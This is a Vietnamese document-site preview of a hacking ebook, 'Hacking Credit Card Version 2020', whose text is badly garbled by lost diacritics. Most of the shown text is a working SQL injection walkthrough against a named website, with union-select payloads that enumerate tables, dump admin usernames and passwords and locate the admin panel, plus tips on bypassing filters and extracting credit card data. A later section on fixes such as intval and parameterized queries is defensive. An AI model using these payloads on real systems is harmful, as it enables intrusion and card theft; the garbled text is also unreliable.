1. Trang chủ
  2. » Thể loại khác

Ebook Hacking Credit Card Version 2020 Hieupc

69 178 1

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 69
Dung lượng 1,76 MB

Nội dung

Thời gian trôi nhanh thật nhỉ, mới đó mà đã 13 năm trời, cuộc sống của hieupc thay đổi quá nhiều trong khoảng thời gian này. Từ một thằng chẳng biết gì về vi tính, cho đến khi phạm tội. Lúc nhỏ tôi mơ ước có một cái máy vi tính, ba mẹ tôi đã mua cho tôi như một món quà bất ngờ, ban đầu lên mạng đọc sách báo thấy có nhiều điều mới lạ lắm kìa và dần dần tôi cũng quen được vài người trên mạng. Cho đến giờ nãy tôi vẫn nhớ họ là ai và nickname của họ là gì. Nếu bạn hỏi tôi tại sao tôi lại được như ngày hôm nay, thực sự câu trả lời cũng đơn giản là sự cố gắng không ngừng tìm tòi học hỏi, nhưng tôi thật may mắn khi gặp được những bậc trưởng lão về mạng máy tính lúc bấy giờ vì vậy mà tôi mới có một tầm hiểu biết khá là rộng như bây giờ. Với Ebook Hacking Credit Card Version 2020 này, Tôi viết ra nhằm mục đích nâng cáo và tập theo kịp với công nghệ hiện đại, trong thời gian các ly, tôi đã nghiên cứu về các hoạt động hoàn toàn mới của Công nghệ hiện đại thời bây giờ. Cùng Khám Phá khóa học cực mới của Hiếu nhé:

It’s a special version which the title will be: Hieupc Returns Copyright ® by hieupc Email: hieupc@gmail.com Yahoo ID: hieuitpc Châm ngôn: Cu c đ i l̀ nh ng chu i ng̀y v t v , ćc b n ph i bi t v t qua ń th̀ m i ć th tr v̀ th̀nh công đ c ng nh c tŕ, h̃y ngh đ n gi n đ́ ch l̀ th th́ch c a cu c đ i ng th̀nh Xu t b n: 09-09-2009 T́c gi Ebook: Hieupc Page L i Ńi u: h i gian trôi nhanh th t nh , m i đ́ m̀ đ̃ n m tr i, cu c s ng c a hieupc thay đ i qú nhi u kho ng th i gian ǹy T m t th ng ch ng bi t g̀ v vi tính, b ng ch́c bi t qú nhi u u v vi t́nh, đ̃ h c h i đ c r t nhi u t ćch n ńi, đ i x v̀ th́i đ đ gi ć th t m g i l̀ an tâm ć th s ng t t x̃ h i ǹy Ĺc nh m c ć m t ći máy vi tính, ba m tơi đ̃ mua cho tơi nh m t ḿn qù b t ng , ban đ u lên m ng đ c śch b́o th y ć nhi u u m i l l m k̀a v̀ d n d n c ng quen đ c v̀i ng i m ng Cho đ n gi ñy v n nh h l̀ v̀ nickname c a h l̀ g̀ N u b n h i t i l i đ c nh ngày hôm nay, th c s câu tr l i c ng đ n gi n l̀ s c g ng không ng ng t̀m t̀i h c h i, nh ng th t may m n g p đ c nh ng b c tr ng l̃o v m ng ḿy t́nh ĺc b y gi v̀ v y m̀ m i ć m t t m hi u bi t kh́ l̀ r ng nh bây gi Tôi th́ch vi t śch b i v̀ th́ch chia s ki n th c c a m̀nh cho m i ng i, hy v ng r ng ćc b n s ti p thu đ c ph n ǹo t cu n Ebook V̀ v y, h̃y h c h i, c c ng, chia s đ đ c nh n l i v̀ quan tr ng l̀ đ ng n n ch́ T P/S: N u b n đ c c m th y cu n Ebook ǹy b ́ch đ i v i m i ng i th̀ h̃y gíp Hieupc chia s M i ́ ki n đ́ng ǵp v̀ phê b̀nh vui l̀ng email v̀o đ a ch : hieupc@gmail.com My Friends: Ly0kha, PxNam, J0hnnywalk3r, Yeuemdaikho, Kehieuhoc, Langtuhaohoa, Mr.saobang, Vampirevn, Thanhhuyleit, Thanhh83, Longnhi…………… Chú ý: Trong nh ng b̀i vi t d i ć m t s ch đ c tô đ m m̀u đen v̀ ch m̀u đ nh ng ch c n ph i ch́ ́ Page – M c L c: Page I Exploiting PHP Injection: PHP Injection gì? Khai th́c PHP Injection tri t đ - 16 II Getting Root Server by Many Methods: 17 K thu t Exploit đ Get Root into MYSQL Server 17 - 24 K thu t chi m quy n Admin qua SA MSSQL Server 25 - 37 Nh ng u c n bi t v Localhack 38 - 48 III How To Get These Important Information: 49 Ki m link Admin nh th ǹo 49 - 50 L y nh ng thông tin quan tr ng m̀ ta c n 51 - 53 IV Exploiting By Tool, Scripts: 54 Shell Scripts 54 Tools Hack 54 V Speacial Things: 55 H 55 - 64 ng d n cách Fix SQL Injection v̀ nh ng ćch kh c ph c khác Ng n ch n Localhack 65 - 68 Th c t p SQL Injection 69 Page – I Exploiting PHP Injection: PHP Injection gì: PHP Injection xét v kh́a c nh server script l̀ thu t ng miêu t m y u mà m t attacker ć th th c thi đ c code php không ki m sót giá tr truy n v̀o V́ d tr ng h p d li u đ a vào có th s d ng h̀m eval() hay include() V́ d : $myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' $x ';'); Khai th́c PHP Injection tri t đ : SQL Injection l̀ ph ng th c khai thác d a vào trình trao đ i d li u gi a ng i dùng Web Application Vi c ng d ng không ki m tra giá tr đ u v̀o đ n đ n attacker có th cho th c thi SQL query không mong mu n can thi p v̀o database l̀m thay đ i, thêm, xem hay xóa d li u Hacker th ng khai thác b ng g i giá tr đ u v̀o đ server sinh thông tin l i đ t đ́ tùy bi n theo câu truy v n g c c a ng i thi t k N u Web Application đ c customize trang l i hay trang l i không tr v , ph i làm th nào? Hãy th khai thác v i ph ng th c: blind sql injection Ví d : http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 K t qu tr v thông tin t database Nh ng n u ta thêm d u: ‘ th̀ nh http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1’ K t qu tr v l̀ trang tr ng Page – Tùy bi n 1: http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 and 1=1 =>Trang web tr v thông tin t database t ng t nh Tùy bi n 2: http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 and 1=2 => Không s n ph m xu t hi n V y ta nh n th y k t qu tr v c a trang web khác V i tùy bi n ta thêm u ki n 1=1 (true) s không làm nh h ng đ n k t qu c a câu truy v n g c nên v n hi n đ́ng thông tin t database, nh ng v i u ki n tùy bi n 2: 1=2 (false) thêm vào, câu truy v n g c s b tr k t qu v false d n đ n không xu t hi n thông tin trang web D a v̀o m ta có th dùng truy v n n i vào cho k t qu nh n l̀ true/false đ l y thông tin v h th ng! Gi s không bi t tr ng b ng c a ng d ng web gì? V i l i SQL Injection gây b i url ta xem th truy v n (SQL) c a li u có bao nhi u tr ng S d c n x́c đ nh u b i dùng UNION câu l nh SQL s l ng tr ng c a hai câu l nh select ph i trùng Ta s d̀ng l nh “Order by” v̀ thông qua l nh ǹy ń s l̀m đ n gi n vi c đ m s v̀ nhanh ch́ng h n X́c đ nh ć tr ng truy v n v i url: http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 Có r t nhi u ćch đ th c hi n s d ng order by Th c hi n t ng d n Khi th c hi n order by , n u trang web không hi n th l i t c s l ng tr v n còn, th c hi n t ng cho đ n xu t hi n l i t c l̀ ta th c hi n tìm đ s l ng tr ng ng V́ d : http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 order by -> v n c̀n b̀nh th ng K t qu : Page – http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 order by -> v n c̀n b̀nh th ng http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 order by 10 -> k t qu l̀ trang tr ng, không đ c r i V y l̀ ta bi t k t qu b l i s ch n m kho ng t 10 tr xu ng v̀ v y ta th : http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 order by -> v n c̀n b̀nh th ng http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 order by -> k t qu l̀ trang tr ng, v y ć ngh a l̀ sao, t nhiên s th̀ th y c̀n b̀nh th ng nh ng t i s th̀ k t qu l̀ trang tr ng Suy ra: s l̀ s mà t̀m Nh v y truy v n SQL v i Website l̀ tr ng (field) n ć th u tra phiên b n SQL, User… v i l nh sau: V́ d : Ch́ ́ ć d u : - N u ta check SQL version m̀ l̀: 4.5 ho c d i 5.0 th̀ coi nh ta ph i mò table column - http://www.hoanvustc.com/services.php?lg=vn&k=2&nc= 1%20union%20select%201,2,3,4,5,6,7-K t qu hi n : m t l i đ t ta ć th khai th́c ti p: (nh d i h̀nh, l i hi n s v̀ s 4) Ki m tra SQL Version xem sao: - http://www.hoanvustc.com/services.php?lg=vn&k=2&nc= 1%20union%20select%201,2,version(),4,5,6,7 Page – K t qu hi n ra: (th t may m n SQL version 5.0, v̀ column_name c̀ng m t ĺc.) version ǹy ta ć th query all table_name hay Và c th ta ć th ki m tra đ c nhi u information quan tr ng kh́c, d a v̀o nh ng c u l nh ǹy: version() , user() , database() , @@datadir , group_concat(schema_name) , table_schema , … +from+information_schema.schemata - http://www.hoanvustc.com/services.php?lg=vn&k=2&nc= 1%20union%20select%201,2,user(),4,5,6,7-K t qu hi n ra: Ta c ng ć th l̀m ćch ǹy đ g p nh ng thông tin c n thi t: concat_ws(0x3a,version(),user(),database()) http://www.hoanvustc.com/services.php?lg=vn&k=2&nc= - 1%20union%20select%201,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7 Ǹo gi ch́ng ta ti p t c khai th́c l y tables v̀ columns: http://www.hoanvustc.com/services.php?lg=vn&k=2&nc= - 1%20union%20select%201,2,group_concat(table_name),4,5,6,7%20from%20information_schema.tables-K t qu : trang tr ng, v y ć ngh a l̀ sao, đôi ĺc ta c ng hay g p t̀nh tr ng ǹy, ćch gi i quy t l̀ th ǹo Page – Ta đ́nh thêm: unhex(hex( v̀o tr c group_concat Th k t qu th ǹo: http://www.hoanvustc.com/services.php?lg=vn&k=2&nc= - 1%20union%20select%201,2,unhex(hex(group_concat(table_name))),4,5,6,7%20from%20information_schema.t ables-K t qu : Trong PHP injection hay c̀n g i l̀ Blind Injection ta ph i Hex table l i đ khai th́c l y columns t nh ng table quan tr ng nh : admin, users, accounts….T i ph i Hex Magic_Quotes ch đ : ON Sau khi, khai th́c l y đ c h t t t c tables, Hieupc nh n th y site ǹy ć m t table quan tr ng l̀: admin Th kh́i thác xem sao: (table: admin đ c Hieupc Hex th̀nh: 61646d696e) http://www.hoanvustc.com/services.php?lg=vn&k=2&nc= - 1%20union%20select%201,2,unhex(hex(group_concat(column_name))),4,5,6,7%20from%20information_schem a.columns where table_name=0x61646d696e-nh ć "0x” ph́a tr c d̀ng hex T ng t ta c ng ph i unhex(hex( v̀ đ i v i site ǹy th̀ ta ph i v y, m t s site kh́c ć l không ć unhex(hex( ho c ć c ng không K t qu : Nh ta th y: column quan tr ng nh t: username, pass c a table: admin B c k ti p l̀ query l y k t qu m̀ ta đ t đ c: http://www.hoanvustc.com/services.php?lg=vn&k=2&nc= - 1%20union%20select%201,2,unhex(hex(group_concat(username,0x7c,pass))),4,5,6,7%20from%20admin Page – K t qu : Nh v y ta đ̃ ć đ c: Username: cuongle Pass: cuongle … v̀ m t s user admin kh́c L u ́: 0x7c l̀ d u | ta d̀ng ći ǹy đ d nh̀n v̀ l y thông tin d d̀ng h n, ći ǹy ta convert Hex y m̀ Khi query l y thông tin t table nh b̀i ǹy là: admin ch ng h n th̀ ta không c n ph i Hex l̀m g̀ Ń th t đ n gi n ph i không, gi ng nh nh ng ćch khai th́c m̀ nh ng cu n Ebook tr c c ng đ̃ ć v̀ đ c p đ n Ǹo gi ta ki m link admin v̀o xem sao: (th ng th̀: admin, pcadmin, admin_login, admin.php….) Sau m t h i m̀ m m, cu i c̀ng th̀ link admin c a ń l̀: http://www.hoanvustc.com/manager/ gi ta th đ ng nh p v i username v̀ pass h i ñy query th xem K t qu : ( n l̀ th̀nh công r i nh́) Page M t s kinh nghi m c a Hieupc: Trong vi c khai thác blind sql injection m t s hàm sau t h u ích: SUBSTRING(string,v trí, s l ng): Hàm c t chu i vd: SUBSTRING('dbo', 1, 1) = ‘d’ SUBSTRING('dbo', 2, 1) = ‘b’ SUBSTRING('dbo', 3, 1) = ‘o’ Lower(): chuy n ký t sang ch th ng Upper(): chuy n ký t sang ch HOA ASCII(): chuy n ký t sang s t ng ng mã ascii If(đk,kq1,kq2) Ngoài ý thêm: - M t s l i th ng g p c a Mysql Injection: Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\ on line 37 L i tr v l̀ m t trang tr ng… - Ta ć th s d ng: Union select all, Union all select… - Ta ć th s d ng table_schema đ x́c đ nh đ c tables c a table_schema đ́ http://www.website.com/shop.php?id=1+UNION+SELECT+ 1,group_concat(table_name),3,4 +from+information_schema.tables+where+table_schema=hie upc— (nh convert hieupc sang Hex ho c Ascii nhé.) - ôi ta hack không m̀ đ c link admin th̀ ta ć th query tr c ti p t database đ l y nh ng thông tin nh : CC, Information, user, pass… (v n đ ki m link admin s đ c tr̀nh b̀y b̀i vi t ti p theo) - Theo kinh nghi m cho th y n u website config k s ch n nh ng h̀m nh : union, select, convert….ĺc ǹy ta c g ng th b ng ćch thay v̀o đ́ l̀ ch IN HOA v̀ vi t th ng chen l n V́ d : UnIoN SelECt… - M t u th́ v l̀ b n đ̃ v̀o đ c admin panel r i nh ng thông tin quan tr ng nh : credit card number, hay password c a customer l i b m̃ hó ho c b hide d i d ng ****, th̀ ta ć th s a code l i hay c̀n g i l̀ d ch ng c code t hide  unhide…(ći ǹy ch ́p d ng tr ng h p b n ć source code c a website đ́) - M t s website secure cao h n th̀ ĺc ta query đ l y table ho c column s hi n trang tr ng ho c b́o l i th ǹy, ći ǹy ch c potay r i: Page 10 – V Speacial Things: H ng d n cách Fix SQL Injection v̀ nh ng ćch kh c ph c khác: PHP thơng th ng s có d ng v l i này, d ng th nh t có th nhìn th y đ c - g i th ng SQL injection, d ng th hai khơng nhìn th y đ c m c dù b l i thi t - g i Blind SQL injection Thơng th ng đ ki m tra l i SQL injection d ng th nh t, ta th ng thêm d u ' (d u nh y) v̀o ph́a sau ćc đ a ch có d ng: user.php?id=1 ho c user.php?id= ( l u ý : có nhi u t khóa kh́c đ ki m tra l i SQL ch không h n ?id=' VD: ?nid= v.v) VD: http://hieupc.net/user.php?id=1' v̀ http://hieupc.net/user.php?id=' đ u đ c Cịn d ng th hai khó h n, V̀ ćc b n có th d d̀ng ng n ch n thông báo l i g i t máy ch b ng cách thêm ký t @ tr c câu l nh SQL ví d : view plainprint? $id = $_GET[id]; mysql_query("SELECT * FROM xviet.net WHERE id=$id"); $id = $_GET[id]; @mysql_query("SELECT * FROM xviet.net WHERE id=$id"); N u t phía hacker s khó có th tìm đ c, th n u b n khơng rõ v SQL injection b n có th thêm @ v̀o tr c câu l nh nh v́ d d̀ng đ che d u l i Ho c s d ng: error_reporting(0); đ u đo n PHP đ che d u l i Còn n u site c n ki m tra b n làm webmaster có th l̀m nh sau: view plainprint? $id = $_GET[id]; mysql_query("SELECT * FROM xviet.net WHERE id=$id"); $id = $_GET[id]; @mysql_query("SELECT * FROM xviet.net WHERE id=$id"); V i cách phát hi n: http://hieupc.com/user.php?id=' bi n $id s đ c khai báo ' (d u nháy) n u b dính l i, v̀ đo n code dùng print đ in giá tr c a bi n $id ra, n u nhìn th y d u nh y dính l i, n u khơng ki m tra l i l n n a đo n code hoàn toàn ch a đ c fix l i, he he không làm t t n nhà ngói thành nhà tranh C ng c n c theo ví d trên, b n có th dùng hàm intval() đ kh c ph c l i này, ví d : Page 55 – Ch a fix (unfix): view plainprint? 1.$id = $_GET[id]; 2.mysql_query("SELECT * FROM xviet.net WHERE id=$id"); $id = $_GET[id]; @mysql_query("SELECT * FROM xviet.net WHERE id=$id"); ã fix (fixed): view plainprint? 1.$id = $_GET[id]; 2.mysql_query("SELECT * FROM xviet.net WHERE id=$id"); $id = $_GET[id]; @mysql_query("SELECT * FROM xviet.net WHERE id=$id"); Trong intval, int có ngh a l̀ integrals (S ngun) cịn val có ngh a l̀ value (Gí tr ) v y giá tr c a bi n $id ph i s nguyên, làm v y hacker s không th inject ho c exploit đo n SQL c a b n Bài vi t d a n n Anti PHP-SQL Injection vncoder.net SQL Injection: - H u h t ćc l i SQL Injection đ u l̀ câu l nh SQL sai ho c User l̀m cho câu l nh SQL sai , không th c hi n đ́ng ch c n ng c a ń V́ d nh ch́ng ta ć m t Script ki m tra đ ng nh p nh sau : Mã l nh (php) - o n Script l̀ m t đo n Script r t đ n gi n th c hi n Login thông qua câu SQL ki m tra username password Câu l nh SQL nguyên th y l̀ : Trích: SELECT * FROM users WHERE user = "$username" AND password = "$password" - Tuy nhiên, l i l̀ m t SQL Injection vô c̀ng l n, n u nh User nh p bi n User l̀ " OR OR user=" - Khi đ́ l nh SQL s tr th̀nh : SELECT * FROM users WHERE user = "" OR OR user="" AND password = "$password" Page 56 – - K t qu tr v s l̀ tòn b user Database v̀ d nhiên l̀ m t tr ng h p Login không h p l (bi n password c ng ć th s d ng đ t o SQL Injection) Th c ra, l i l̀ bi n $username, có th fix b ng ćch ki m tra bi n user, r i sau đ́ m i ki m tra bi n pass, ho c m t ćch nhanh h n, fix đ c h u h t t t c ćc l i SQL Injection m̀ ch c n s d ng m t h̀m ć s n c a PHP, hàm addslashes - Xin nói m t ch́t v h̀m addslashes: h̀m ǹy s tr v m t chu i v i d u \ tr trích d n Database, ćc ḱ t đ́ l̀ " \ NUL (\0) c ćc ḱ t c n - C u tŕc h̀m addslashes : string addslashes ( string str) - Nh ć h̀m addslashes mà câu l nh SQL c a ta s tr th̀nh : SELECT * FROM users WHERE user = "\" OR OR user=\"" AND password = "$password" - Nh v y th̀ câu l nh SQL s ho t đ ng đ́ng nh ch c n ng c a ń M t s l i SQL Injection khác c ng ć th kh c ph c b ng ph ng ph́p ǹy Tôi c ng xin nh c l i l̀ ph ng ph́p ǹy ch fix đ c h u h t t t c ćc l i SQL Injection, t c l̀ ćc l i bi n PHP gây ra, c̀n ćc l i b n thân câu l nh SQL th̀ ćch ǹy không ć hi u qu g̀ Tuy nhiên n u d̀ng ph ng ph́p ǹy câu l nh SQL ch c ch n th̀ tin r ng b n s khơng cịn lo l ng v SQL Injection PHP Injection: - L i PHP Injection th ng x y v i ćc script đ c File, t n h̀nh c a PHP Injection: ng t́c h th ng v.v ây l̀ m t Mã l nh (php) M i nh̀n th̀ không ć l i g̀, nh ng n u nh v̀ m t ĺ g̀ đ́ m̀ bi n $file không đ c khai báo l̀ m t l i PHP Injection r t n ng - Lúc bi n $file l i đ c khai b́o b i ch́nh PHP, ch c n ng Regiser-Global k t qu s đ a n i dung c a file somescript.php hay b t c File ǹo h th ng (k c File ch a Password n u hacker ch u kh́ m̀ v̀ xem nh host c a ch́ng ta tiêu luôn) - N u phân t́ch th̀ ta s th y r ng bi n $file đ̃ đ c khai b́o ch c n ng Register-Global (ch c n ng t đ ng đ ng ḱ ćc bi n GET, POST , COOKIE v.v ), v̀ đ c fix m t ćch đ n gi n l̀ t t ch c n ng ǹy Vi c t t ch c n ng ǹy c ng không nh h ng g̀ nhi u đ n PHP Ćc b̀i tham kh o thêm: Ch đ Safe Mode = On, b n ch t v̀ ćch kh c ph c: Page 57 – Safe Mode gì? Safe Mode PHP (ch đ An toàn PHP): m t k thu t th ng đ c Shared Hosting (Hosting Chia s ) áp d ng đ t ng c ng b o m t (ch ng l i t n công n i b , th ng đ c g i Hack Local) K thu t không th c s hoàn h o m c PHP v̀ cho đ n th i m hi n t i v n đ c áp d ng nhi u n i Tuy nhiên, c ng th t may k t phiên b n PHP 6.0 tính n ng ǹy s b lo i b s khơng cịn ph i b n tâm đ n n a X́c đ nh Safe Mode l̀ On hay Off? T o m t file info.php th m c Web c a b n v i n i dung nh sau: M đ ng d n t i file info.php VD: http://localhost/info.php http://yourdomain/info.php Tìm m c "Loaded Configuration File" đ bi t file c u hình php.ini đ c đ t đâu Tìm m c "safe_mode" đ bi t tr ng thái hi n t i c a Safe Mode (On b t, Off t t) T t ch đ Safe Mode? Tr ng h p 1: B n có th qu n lý Server X́c đ nh v trí file c u hình php.ini, m file thi t l p giá tr : safe_mode = Off Tr ng h p 2: B n không ph i l̀ ng i qu n lý Server B n có th th t t b ng cách (v i u ki n Server cho ph́p ghi đ̀ lên thi t l p ban đ u) - Cách - T o m t file "php.ini" th m c Web c a b n v i ch th : safe_mode = Off - Cách - T o m t file ".htaccess" th m c Web c a b n v i ch th : php_flag safe_mode off - Cách - Dùng hàm ini_set c a PHP: configuration.php) t l nh sau vào file c u hình (ch ng h n globals.php, ini_set('safe_mode','Off'); Page 58 – B n ch t c a Safe Mode: Gi s b n có m t script: /home/hieupc/do_some_thing.php v i n i dung: V i Safe Mode = On, b n th c thi script do_some_thing.php Owner (ch s h u) c a script do_some_thing.php ai? trên, Server s ki m tra VD: "hieupc" hay "apache" hay "user-xyz" ǹo đ́ N u cơng vi c "job-x" có phép x lý liên quan t i file hay th m c ǹo đ́ (th m c /opt/lampp/tmp ch ng h n), m̀ file hay th m c l i thu c quy n s h u c a Owner khác), l i s x y Ngoài Safe Mode = On có th r t nhi u h̀m b vơ hi u hóa VD: move_uploaded_file(), mkdir() Do v y, n u script *.php c a b n có s d ng hàm trên, l i c ng x y Danh sách hàm b vơ hi u hóa: http://vn2.php.net/manual/en/features.safemode.functions.php Ng n ch n ki u t n công SQL Injection: B n mu n gi m thi u c h i cho nh ng k t n công h đ a mã SQL nguy hi m vào giá tr thông s l nh Nhi u ng d ng xây d ng câu l nh SQL đ ng b ng cách phân tích m u r i thành m t chu i l n Cách ti p c n phát sinh v n đ làm vi c v i d li u nh phân, c ng d ng lên kh n ng m t k t n cơng có th th c thi mã SQL nguy hi m b ng cách “tiêm” vào m t giá tr thông s Mã nguy hi m có th đ c s d ng đ can thi p v̀o thông tin c s d li u ho c c ch y m t ng d ng khác server B n có th xem m t s ví d đ́ng s ćc server c s d li u t i http://www.owasp.org/asac/input_validation/sql.shtml ng n ch n v n đ này, b n nên xác nh n tính h p l c a đ u v̀o ng i dùng cung c p, ki m tra r ng có ki u d li u đ́ng nh mong mu n, không d̀i kh́c th ng, v.v Cách d nh t đ th c hi n u s d ng m t truy v n đ c-thơng-s -hóa Các truy v n đ c-thông-s -h́a đ c s d ng cho t t c l i g i th t c t n tr , nh ng b n c ng ć th s d ng chúng v i l nh SQL đ ng Trong tr ng h p th hai, b n ch c n l y m t l nh SQL bình th ng thay th giá tr đ ng v i thông s (k t qu s trông gi ng nh ph n thân c a m t th t c t n tr đ n gi n) D i l̀ m t l nh SQL đ c-thơng-s -hóa: INSERT INTO Shippers (CompanyName, Phone) VALUES (@CompanyName, @Phone) Page 59 – s d ng l nh này, b n c n thêm ćc đ i t ng Parameter t ng ng v̀o đ i t ng Command (v i giá tr phù h p) Tr ng h p yêu c u hai thông s (@CompanyName @Phone) ng d ng Console d i s d ng truy v n đ c-thông-s -h́a ǹy đ thêm m t b n ghi m i vào b ng Shippers c a c s d li u Northwind Public Module ParameterizedQuery Private ConnectionString As String = "Data Source=localhost;" & _ "Integrated Security=SSPI;Initial Catalog=Northwind" Public Sub Main() ' T o k t n i câu l nh Dim Con As New SqlConnection(ConnectionString) Dim UpdateSQL As String = "INSERT INTO Shippers " & _ "(CompanyName, Phone) VALUES (@CompanyName, @Phone)" Dim Cmd As New SqlCommand(UpdateSQL, Con) ' Thêm thông s nh p Dim Param As SqlParameter = Cmd.Parameters.Add("@CompanyName", _ SqlDbType.NVarChar, 40) Param.Value = "Test Company" Param = Cmd.Parameters.Add("@Phone", SqlDbType.NVarChar, 24) Param.Value = "(503) 555-9931" Try ' Th c thi câu l nh Con.Open() Dim Rows As Integer = Cmd.ExecuteNonQuery() Console.WriteLine(Rows.ToString() & " row(s) affected.") Catch Err As Exception Console.WriteLine(Err.ToString()) Finally Con.Close() End Try Console.ReadLine() End Sub Page 60 – End Module M t s cách phòng ch ng l i SQL Injection: Các b n c n ý r ng ćc t ng l a l c ǵi th ng dùng không th b o v b n n u b t n công SQL Injection Ch́ng không đ thông minh đ bi t d u hi u c a cu c t n cơng b n ch t c a t n công l i c a ng d ng Vì th đ ch ng l i t n công lo i c n nh ng k thu t riêng bi t mà ch y u t i u h́a ng d ng b l i Ta l n l t tìm hi u m t s ph ng ph́p: H n ch b phát hi n l i: Attacker d a vào nh ng l i l p trình ng d ng đ t n công c th attacker d a vào d u hi u đ phát hi n ng d ng b l i V y vi c làm cho d u hi u đ́ b che đi, tr nên khó hi u h n, ho c bi n m t đ c h u h t chuyên gia b o m t s d ng L u ý k thu t ch d̀ng đ d u l i, l i ng d ng v n đ́, ch l̀ đ ch ng l i s phát hi n d dàng l i đ k x u khai thác Nh ng nh ng attacker khơn khéo v n có th nhìn th u đ c ki u phòng ch ng nh th Nó có th tŕnh đ c nh ng t n công đ n gi n nh l̀ thêm d u ‘(d u nháy) vào cu i đ ng d n Vì ph ng ph́p tìm ki m ng d ng b l i c a nh ng t n công nh th d a vào nh ng d u hi u tr v c a ng d ng ho c tr c ti p t database Ta có th ch đ a nh ng thông báo chung chung ho c đ nh h ng tr l i trang ban đ u(redirect) Trong tr ng h p này, công vi c tìm ki m l i x́c đ nh m c tiêu tr nên c c kh́ đ i v i attacker Tuy nhiên attacker t o nh ng cơng ngh tìm ki m l i tinh vi h n, t t h n, đ gián ti p x́c đ nh d u hi u tr v T n cơng ki u cịn đ c g i l̀ “Blind SQL Injection” nh ta tìm hi u Phịng ch ng t bên ngồi: Gi i pháp s d̀ng t ng l a đ c bi t đ b o v b n kh i nh ng ng d ng dùng vi c truy c p database v i m c đ́ch x u Chúng ta c n l u ý r ng attacker t ng t́c v i ng d ng web thông qua m t trình t v i k t n i t xa Sau đ́, ng d ng g i yêu c u đ n database Nh v y có th ng n ch n t n công gi a attacker v i ng d ng, gi a ng d ng v i database c b n thân database đ́ Page 61 – M t s ph ng ph́p phịng ch ng có th th c hi n nh : Nh ng b l c, b quét nh ng u n truy c p c s d li u s làm cho ng d ng web khó b t n công h n C i thi n d li u nh p vào: Cách phòng ch ng th c s đ ch ng l i SQL Injection ki m tra v̀ l̀m đ́ng ćc câu truy v n Nh ch́ng ta đ c p, l i ng d ng không ki m tra d li u nh p vào c a ng i dùng Do đ́ ng i dùng có th thay đ i, ch nh s a, tham s ho c thêm c m t th c th truy v n vào câu l nh Vì th m i d li u nh p c a ng i dùng c n đ c theo dõi có nh ng ràng bu c nh t đ nh Th nh t, ng d ng c n phân lo i ki u d li u nh p vào Ví d , n u ng d ng yêu c u d li u nh p vào ki u s ng d ng nh n d li u nh p vào không nên ch p nh n ki u khác ngo i tr ki u s M t s hàm ki m tra PHP: is_numeric($str) : ki m tra $str có ph i ki u s hay không is_int($str) :ki m tra ki u interger is_float($str) :ki m tra ki u s th c Th hai, n u d li u nh p vào khơng rõ ki u nh t c ng ph i x́c đ nh nh ng ki u khơng đ c phép có th đ c g i Trong tr ng h p s ph i l c d u nháy, l nh, kí t đ c bi t M t vài vi c l c d li u có th th c hi n toàn b ng d ng( nh không bao gi l u d li u có d u ‘ v̀o c s d li u) m t vài ki u d li u nh p v̀o( nh không ć d u “,” đ a ch mail) Page 62 – VD: magic_quotes_gpc GPC=GET,POST,COOKIE) Hàm s ki m tra d li u thu c lo i phát hi n có d u ' (single-quote), " (double quote), \ (backslash) s t đ ng thêm vào d u \ (backslash) tr c nó:

Ngày đăng: 16/09/2020, 01:26

TỪ KHÓA LIÊN QUAN

w